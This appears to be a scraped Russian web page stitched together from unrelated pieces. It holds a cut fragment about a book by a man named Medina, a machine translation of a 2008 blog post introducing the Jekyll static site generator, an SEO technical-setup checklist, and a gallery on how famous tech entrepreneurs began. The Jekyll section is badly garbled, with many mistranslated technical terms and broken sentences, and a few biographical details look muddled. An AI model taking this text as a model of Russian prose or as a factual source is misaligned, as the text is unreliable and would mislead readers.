    Медина также известен, как автор книги «Как я спас чью-то жизнь, брак и разрешил семейные проблемы с помощью общения», которую до сих пор можно купить в американских интернет-магазинах.

    После инцидента с женой издание на Amazon получило множество издевательских рецензий, авторы которых использовали различные выражения, отсылающие к стрельбе «Эта книга — не промах», «Эта книга — прямо в яблочко» и другие англоязычные аналоги.

    Вести блог как хакер

    17 ноября 2008 - Сан-Франциско 

    Еще в 2000 году, когда я думал, что я собирался стать профессиональным писателем, я часами в день на LiveJournal делает письменной практике с другими стремящихся поэтов и авторов. С тех пор я уже писал на трех различных областей о веб-стандартах, полиграфический дизайн, фотография, вспышка, иллюстрации, информационная архитектура, ColdFusion управления пакетами, PHP, CSS, реклама, Рубин, Рельсы, и Erlang. 

    Я люблю писать. Я получаю удовольствие от делюсь мыслями с другими. Акт трансформации идеи в слова является удивительно эффективный способ укрепить и усовершенствовать свои мысли о той или иной теме. Но столько, сколько нравится блога, я, кажется, застрял в цикле бросить и начать сначала. Перед началом текущей итерации, я решил сделать некоторые самоанализа, чтобы определить факторы, которые ведут к этому разрушительному рисунком. 

    Я уже знал много о том, что я не хочу. Я устал от сложных блогов системах, как WordPress и Мефисто. Я хотел написать большие должности, не стилизации страниц шаблонов мильона, модерировать комментарии в течение всего дня, и постоянно отстают от последней версии программного обеспечения. Что-то вроде Posterous выглядел привлекательным, но я хотел, чтобы стиль мой блог, и его нужно было организовано на домене моего выбора. По той же причине, другие размещенных сайтов ( wordpress.com , blogger.com ) были дисквалифицированы. Есть несколько человек, непосредственно используя GitHub в качестве блога (что очень круто), но это слишком много из несоответствия импеданса для моих вкусов. 

    В воскресенье, 19 октября, я сел в моей квартире в Сан-Франциско со стаканом яблочного сидра и ясный ум. После периода размышлений, у меня была идея. Хотя я не специально обученных как автор прозы, я тренировался как автор кода. Что произойдет, если я подошел блогов с точки зрения разработки программного обеспечения? Что бы это выглядело? 

    Во-первых, все мои письма будут храниться в хранилище Git. Это обеспечило бы, что я мог попробовать различные идеи и исследовать различные посты все от комфорта моего предпочтительном редактора и командной строки. Я был бы в состоянии опубликовать сообщение через простой сценарий развертывания или после совершения крючок. Сложность будет сведено к абсолютному минимуму, так статический сайт будет предпочтительнее динамического сайта, которые требуют постоянного обслуживания. Мой блог необходимо будет легко настраивается; исходя из графического дизайна фоне означает, что я всегда буду настройки внешнего вида сайта и макет. 

    За последний месяц я принес эти понятия свои плоды, и я рад сообщить, Джекил . Джекил является простым, блог известно, статическая генератор сайт. Он принимает каталог шаблонов (представляющий сырой форму сайте), запускает его через текстильной и жидких преобразователи и выплевывает полный, статический сайт подходящую для обслуживания с Apache или ваш любимый веб-сервере. Если вы читаете эту статью на сайте ( http://tom.preston-werner.com ), вы видя Джекил генерируется блог! 

    Чтобы понять, как это все работает, откройте свой ​​TPW репо в новом окне браузера. Я буду ссылки на код. 

    Взгляните на index.html . Этот файл представляет собой домашнюю страницу сайта. В верхней части файла является кусок YAML, который содержит метаданные о файле. Эти данные сообщает Джекил, что макет, чтобы дать файл, то, что должно быть заголовок страницы и т.д. В этом случае, я указываю, что шаблон "по умолчанию" должен быть использован. Вы можете найти файлы макета в _layouts каталоге. Если открыть default.html вы можете увидеть, что домашнюю строится путем обертывания index.html с этого макета. 

    Вы также заметите, Liquid код шаблонов в этих файлах. Жидкость представляет собой простой, расширяемый язык шаблонов, что позволяет легко встраивать данные в шаблонах. Для моей домашней странице я хотел бы иметь список всех моих блогах. Джекил протягивает мне Hash, содержащее различные данные о моем сайте. Обратный хронологический список всех моих блогах можно найти в site.posts . Каждый пост, в свою очередь, содержит различные поля, такие как title и date . 

    Джекил получает список сообщений в блоге, анализируя файлы в _posts каталоге. Имя файла каждого поста содержит дату публикации и пули (что обнаруживается в URL), что окончательный HTML файл должен иметь. Откройте файл, соответствующий этому сообщению в блоге: 2008-11-17-блогов, как мини-hacker.textile . GitHub оказывает текстильных файлы по умолчанию, поэтому, чтобы лучше понять файл, нажмите на сырой зрения, чтобы увидеть исходный файл. Здесь я указал post макет. Если посмотреть на этот файл вы увидите пример вложенного макета. Макеты могут содержать другие макеты, позволяющие вам большую гибкость в том, как страницы в собранном виде. В моем случае я использую вложенный макет, чтобы показать соответствующие должности для каждой записи блога. YAML также указывает название поста, который затем встроенный в тело поста с помощью жидкости. 

    Сообщения обрабатываются особым образом по Джекила. Дата указать в имени файла используется для построения URL в созданном сайте. Это сообщение, например, заканчивается в http://tom.preston-werner.com/2008/11/17/blogging-like-a-hacker.html . 

    Файлы, которые не находятся в каталогах с префиксом подчеркивания отражаются в соответствующем структуре каталогов в созданном сайте. Если файл не имеет предисловие YAML, он не запускается через жидкость переводчика. Бинарные файлы копируются без изменений. 

    Для того чтобы превратить ваш сырой сайт в готовом варианте, вы просто запустите: 

     $ jekyll /path/to/raw/site /path/to/place/generated/site 

    Джекил все еще очень молодой проект. Я только разработали точную функциональность, что я нуждался. Со временем я хотел бы видеть проект зрелый и поддержку дополнительных функций. Если вы в конечном итоге с помощью Джекил для собственного блога, черкните и дайте мне знать, что вы хотели бы видеть в будущих версиях. А еще лучше, форк проекта, по меньшей GitHub и взломать в особенностях себя! 

    Я жил с Джекила чуть более месяца теперь. Я люблю это. Вождение развитие Джекила исходя из потребностей моего блога был очень полезным. Я могу редактировать мои сообщения в TextMate, давая мне автоматического и компетентную проверку орфографии. У меня немедленного и первый доступ класс к CSS и шаблоны страниц. Все резервные копии на GitHub. Я чувствую легкость теперь, когда я пишу пост. Система достаточно проста, что я могу держать весь процесс преобразования в моей голове. Расстояние от моего мозга в своем блоге сократилась, и, в конце концов, я думаю, что сделает меня лучше автора.

    Как избежать ошибок при технической оптимизации сайта. Руководство по первичной настройке - SearchEngines.ru


    Как избежать ошибок при технической оптимизации сайта. Руководство по первичной настройке


    Вопрос- как разработчикам начать понимать SEO-специалистов? – всегда очень остро стоял на повестке дня, а в условиях кардинальной смены алгоритмов Яндекса и введения большого количества пессимизирующих фильтров, от взаимопонимания разработчиков, верстальщиков, дизайнеров и специалистов по продвижению зависит общий успех сайта и компании.

    Специалисты «PixelPlus» разобрали основные требования, которые накладывает поисковая оптимизация (SEO) на документы на сайте, а также требования к дизайну, оформлению, CSS, Java Script, систематизировали основные ошибки, которые допускают верстальщики и дизанеры, а также типичные ошибки при разработке, допускаемые программистами. Результатом этой работы явилось руководство по первичной настройке, пошагово демонстрирующее, как, начиная с самого первого этапа — создания сайта построить грамотную оптимизацию на сайте, для того чтобы в дальнейшем не пришлось переделывать значимые фрагменты кода.

    Пошаговая инструкция, которую рекомендуется усвоить каждому специалисту

    1. Создайте файл robots.txt и настройте его.
    2. Установите 301-редирект на основное зеркало. Основное зеркало указывается в файле robots.txt для Яндекса с помощью директивы «Host:».
    3. Создайте и настройте файл 404-ошибки.
    4. Проверьте корректность работы редиректов и верность кода ответа сервера 404-ошибки (очень часто пишется, что это 404-ошибка, но код ответа у нее почему-то 200 ОК).
    5. Задайте уникальные теги Title для всех страниц (необходимо, чтобы на сайте имелась такая возможность).
    6. Установите уникальные meta-описания (на сайте должна быть такая возможность). Если вы разработчик, установите уникальные meta-описания и убедитесь, что они отображаются в исходном коде, т.к. meta-описания можно увидеть только в исходном коде.
    7. Настройте ЧПУ для всех или ключевых страниц сайта. Также важно убедиться, что ссылки ведут сразу на конечные URL, не через промежуточные (т.е. сначала на страницу без ЧПУ, а потом через 301-редирект на страницу с ЧПУ; такого быть не должно).
    8. Просканируйте сайт на предмет битых и некорректных ссылок. Устраните их и причину их возникновения.
    9. Просканируйте сайт повторно, убедитесь, что проблема со ссылками решена. Обычно это можно сделать с помощью программы Page Weight, Screaming Frog Seo Spider и аналогичных средств, в том числе онлайн (seoto.me). Пересканировать сайт нужно обязательно, потому что если у вас 404-ошибка была выведена некорректно, повторное сканирование сайта поможет выявить большое число новых ошибок.
    10. Создайте карту сайта sitemap.xml и укажите путь к ней в панелях Вебмастера.
    11. Изучите исходный код основных страниц сайта. Все большие куски JS и CSS должны быть вынесены в отдельные файлы.
    12. Проверьте, что теги h1-h6 используются только как текстовые заголовки, а не элементы дизайна. Для этого нужно проверить, есть ли в исходном коде теги h1-h6 и используются ли они только в тексте.
    13. Измерьте время отклика сервера и время загрузки исходного кода документа для ключевых регионов с помощью сторонних сервисов. Нужно проверить, как загружается исходный код из ключевых регионов, в которых вы планируете оказывать услуги.
    14. Проведите базовое нагрузочное тестирование — от 10–20 активных пользователей онлайн.
    15. Проверьте валидность кода основных страниц/разделов, устраните самые существенные ошибки.
    16. Проверьте корректность отображения в браузерах Chrome, Android, Safari, Firefox, Яндекс.
    17. Настройте корректное отображение атрибута rel="canonical" тега link. Это помогает устранить большое количество потенциальных дублей на сайте и сделать доступными для индексации только канонические страницы, которые должны быть проиндексированы.
    18. Настройте заголовок Last-Modified и обработку запроса с условием If-Modified-Since. Когда поисковый робот заходит на ваш сайт и спрашивает, изменился ли данный документ с того времени, когда он последний раз был на нем, если он не изменился, требуется не отдавать исходный код, а дать 304 код ответа и тем самым уменьшить нагрузку на сервер, ускорить индексацию и увеличить ее полноту.
    19. Контролируйте аптайм сервера по системам статистики (он должен быть не ниже 99,85%).
    20. Не реже раза в месяц производите контроль индексации — SERP, Вебмастер, сканирование. Это то, что непосредственно относится к обязанностям SEO-специалиста. Нужно не реже раза в месяц просматривать руками, анализировать панель Вебмастера, и производить сканирование и повторное сканирование сайта.

    Подробней о каждом из пунктов читайте здесь

    Правила являются обязательными для продвижения и входят в сферу ответственности SEO-специалистов. Оптимизатор в любом случае должен проверять их выполнение, и если программист, верстальщик или дизайнер допустил какие-то ошибки из описанных выше, то специалисту необходимо сформировать технические задания по доработке сайта. Опираясь на материал, у каждого специалиста получится сформировать данные технические задания. 

    пятница, 5 февраля 2016 г.

    Фотогалерея: Чем занимались известные предприниматели до 30 лет


    Фотогалерея: Чем занимались известные предприниматели до 30 лет

    Элон Маск

    Программировать Элон Маск научился в 10 лет — а в 12 уже продал собственную игру-стрелялку Blast Star за $500. Он даже хотел организовать собственный бизнес по производству аркад, но не смог получить на него официальное разрешение.

    Первой компанией, которую основал Маск, стал стартап Zip2. Предприниматель запустил проект вместе со своим братом Кимбалом в 1995 году. Zip2 производила программное обеспечение, дающее новостным изданиям возможность размещать контент в интернете и предлагать своим клиентам дополнительные платные сервисы.

    В число клиентов Zip2 входили такие издания, как The New York Times, Pulitzer Publishing. В 1998 году руководство компании объявило о грядущем слиянии с CitySearch. Сделка так и не была закрыта, а через год — в 1999 году — стартап выкупила организация Compaq, заплатив за Zip2 $304 млн. Элону Маску, доля которого в компании на тот момент составляла 7%, досталось $20 млн. Элон Маск стал миллионером в 28 лет.

    Ричард Брэнсон

    В детстве миллиардер Ричард Брэнсон страдал дислексией, был хулиганом и плохо учился. Предприниматель открыл свой первый бизнес в 16 лет. Вместе со своим другом Джонни Джэмсом он создал журнал Student. Через год в редакции работало более 20 человек.

    Счастливый случай, сеть знакомств и настойчивость самого Брэнсона позволили Student получить интервью у Мика Джагера, Джона Леннона и других звезд музыки. Это существенно увеличило читательскую аудиторию издания и, по словам самого Брэнсона, заставило задуматься над новым бизнесом — записью и продажей музыкальных дисков. В качестве названия для новой компании было избрано английское слово Virgin.

    Стив Джобс

    Основатель Apple начал свою карьеру в 12 лет. Тогда Джобс собирал для школьного кабинета физики индикатор частоты электрического тока, и ему нужны были некоторые детали. Джобс позвонил Хьюлетту, который согласился выслать необходимые детали и предложил ученику летнюю работу. В Hewlett-Packard Джобс встретился со Стивеном Возняком.

    Когда основателю Apple было 16 лет, он и Возняк познакомились со знаменитым в то время хакером по имени Капитан Кранч. Он рассказал им, как при помощи специальных звуков, издаваемых свистком из набора хлопьев «Капитан Кранч» можно обмануть коммутационное устройство и осуществлять звонки по всему миру бесплатно.

    Вскоре Возняк смастерил первое устройство, именуемое «Синий ящик», которое позволяло простым людям имитировать звуки свистка Кранча и звонить бесплатно по миру. Джобс занялся реализацией товара — «Синие ящики» продавались по цене в $150 при себестоимости $40.

    В 1972 году Стив Джобс окончил школу и поступил в колледж Рид в Портленде, штат Орегон. Однако после первого же семестра он отчислился и долгое время скитался по кампусу, сдавая бутылки и ночуя на полу в комнатах друзей.

    Позже Джобс устроился техником в фирму Atari, производившую популярные видеоигры — он хотел заработать денег для поездки в Индию. После возвращения из Индии Джобс продолжил работу в Atari вплоть до того момента, когда Возняк показал ему прототип первого персонального компьютера.

    Эрик Шмидт

    Руководитель Google Эрик Шмидт с раннего детства проявлял интерес к науке — вероятно, из-за того, что он вырос в семье учёных. В 21 год он получил степень бакалавра по электротехнике в Принстонском университете. В 24 года — степень магистра по компьютерным сетям в Калифорнийском университете в Беркли.

    Затем он устроился в компанию Xerox — в лабораторию PARC, разработки которой до сих пор используются в компьютерной технике. Например, здесь придумали мышь, графический интерфейс, лазерный принтер.

    В 1982 году Шмидт защитил диссертацию на степень доктора компьютерных наук по теме контроля за крупномасштабной разработкой программного обеспечения в распределенной среде. До перехода в Google на должность генерального директора в 2001 году Шмидт определял стратегию корпорации Sun в отношении ПО для работы в интернете, был членом совета директоров Siebel Systems, исполнительным директором Novell.

    Ларри Эллисон

    Детские годы будущего предпринимателя прошли в тяжёлой атмосфере. Виной всему был его приёмный отец — пессимист, разочаровавшийся в обществе, как характеризует его сам Эллисон.

    В школе будущий предприниматель начал много читать и сочинять различные истории, что поражало сверстников и сказывалось на успеваемости. После того, как его очередной раз исключили из университета, Эллисон стал все больше увлекаться программированием и вступил в несколько компьютерных клубов.

    В 25 лет у Эллисона уже было достаточно знаний, чтобы профессионально работать на избранном поприще. Молодого человека, отлично разбиравшегося в разработке баз данных, взяли в фирму Amtex. В этой компании он создал одно из своих блестящих творений — многофункциональную базу данных, разработанную для ЦРУ, которая была зашифрована под названием Oracle.

    Марисса Майер

    В школе Марисса Майер увлекалась балетом. К старшим классам она занималась им по 35 часов в неделю. Кроме того, Майер активно участвовала в жизни школы — посещала кружки, участвовала в дебатах.

    После окончания старшей школы, Майер подала заявления в 10 крупнейших университетов, в том числе Стэнфорд, Йель и Гарвард. Во все 10 её приняли.

    Майер выбрала Стэнфорд. После завершения бакалавриата по курсу «символьные системы» будущий руководитель Yahoo осталась в университете для получения магистерской степени в Computer Science. Преподаватели довольно быстро поняли, что она и сама может читать лекции — и Марисса начала преподавать у младших курсов.

    После окончания университета Майер получила как минимум 14 приглашений на работу от разных компаний. Она выбрала Google — тогда еще небольшой и никому не известный проект. Марисса стала двадцатым сотрудником Google и первой женщиной-инженером в компании.

    Джек Дорси

    Будучи подростком, Дорси обожал компьютеры и мог часами сидеть, изучая одну из первых версий IBM. Ему очень хотелось нарисовать «живую» карту Нью-Йорка, по которой бы бегали многочисленные маленькие точки — курьеры, кареты «скорой помощи», полицейские экипажи, пожарные расчеты, такси.

    Первый реальный опыт в качестве программиста Дорси получил в родном Сент-Луисе, когда ему было 14 лет. Мальчик писал программы для диспетчерских такси и пожарных служб.

    После переезда в Нью-Йорк Дорси своеобразным образом устроился в профильную компанию Dispatch Management Services Corp. Взломав систему безопасности сайта фирмы, он добыл прямой электронный адрес топ-менеджера DMSC Грега Кидда и стал отправлять ему письма с советами, как залатать созданную самим Дорси дыру. Позже он был принят на работу.

    В Dispatch ему рассказали о еще только зарождающейся системе коротких сообщений (SMS), а также о новой программе, благодаря которой диспетчер мог просматривать в режиме реального времени на карте все действия и перемещения курьеров.

    Однако после кризиса «доткомов» в 2000 году Дорси остался безработным. Почти пять лет он «фрилансил» и даже ходил на курсы по массажной терапии. В 2005 году Дорси устроился на работу в компанию Odeo, специализирующуюся на интернет-стартапах. Во время работы у него и родилась идея создания сервиса, в котором можно обмениваться статусами.

    Марк Цукерберг

    Цукерберг начал увлекаться программированием в раннем детстве. Уже в старшей школе он написал несколько небольших программ. Например, Synapse — «умный» mp3-плеер, который, внимательно изучив предпочтения владельца и выяснив, какую музыку, в какое время суток и как часто он слушает, способен был генерировать плейлисты самостоятельно.

    Необычной программой заинтересовались в Microsoft, а самим Цукербергом — и в Microsoft, и в AOL. Однако юноша отклонил предложения гигантов о покупке Synapse, а затем вежливо отверг и их приглашения к сотрудничеству.

    Одновременно с программированием Цукерберг увлекался фехтованием, историей античности, древними языками.

    В университете он полностью посвятил себя программированию. Цукерберг использовал свои навыки даже для подготовки к экзаменам. Например, когда до итогового теста по истории искусств оставалось два дня, основатель Facebook создал сайт, на каждой странице которого поставил по картине, и попросил сокурсников высказаться по поводу произведений. «Через два часа каждая картина обросла комментариями, и тот экзамен я сдал на отлично», — вспоминает Цукерберг.

    Позже он создал сайт, на котором можно было сравнить фотографии двух девушек из его университета. Снимки он брал из базы данных собственного вуза. А результаты голосований формировали общий рейтинг девушек.

    Деннис Кроули

    Основатель социальных сервисов Dodgeball и Foursquare был примерным учеником в Массачусетской школе. Он даже попал на обложку школьного журнала в 1994 году. Кроули поступил в Сиракузский университет (Нью-Йорк) на курс интерактивных коммуникационных программ.

    После университета предприниматель работал какое-то время исследователем в компании Jupiter Communications. В 2000 году он устроился в компанию-разработчика мобильных приложений Vindigo. Затем, в 2003 году перешел в MTV на должность разработчика.

    Тогда же он вместе со своими сокурсниками основал Dodgeball — сервис, при помощи которого пользователи могли обмениваться текстовыми сообщениями о своем местоположении. В 2005 году, когда Кроули было 29 лет, Google приобрел Dodgeball.

    Билл Гейтс

    Билл Гейтс учился в привилегированной школе Сиэтла. Родители ожидали, что он пойдет по стопам отца и поступит в Гарвардскую школу права. Однако Гейтс не преуспевал в грамматике, граждановедении и других предметах, которые он считал тривиальными, к седьмому классу он увлекся математикой и мечтал стать профессором.

    В 1968 году, когда Гейтс и его школьный товарищ Пол Аллен учились в средних классах, руководство школы решило купить компьютерное время у компании General Electric, что сильно повлияло на будущие увлечения Гейтса.

    Тогда основатель Microsoft написал одну из своих первых программ — симулятор, который позволял играть человеку против машины. Однако ограниченное время было быстро израсходовано, и программистам пришлось искать другие варианты доступа к технике.

    В 1971 году компания Information Sciences наняла Гейтса и Аллена для написания программы, которая составляла бы платёжные ведомости. Помимо неограниченного компьютерного времени работодатели согласились платить разработчикам каждый раз, когда их софт будет приносить прибыль.


    Ещё одним проектом Гейтса в школьные годы стала программа для составления расписания занятий. Заложенная в неё лазейка постоянно переопределяла Билла в классы с самыми красивыми девчонками. В десятом классе Билл уже не учился компьютерному делу, а преподавал его.

    К семнадцати годам Гейтс получил предложение по написанию программного пакета по распределению энергии Бонневильской плотины. За годовую работу над этим проектом Гейтс получил $30 тысяч.

    В 1973 году Билл Гейтс поступил в Гарвардский университет, намереваясь дальше либо пойти по стопам отца, либо стать профессором математики. По его словам, он присутствовал там телом, но не душой. Большую часть своего пребывания в Гарварде он играл в пинбол, бридж и покер.

    В 1974 году Аллен узнает о созданном компанией MITS персональном компьютере Аltair 8800. Гейтс набрался смелости и предложил компании-создателю этого компьютера новый язык программирования Basic.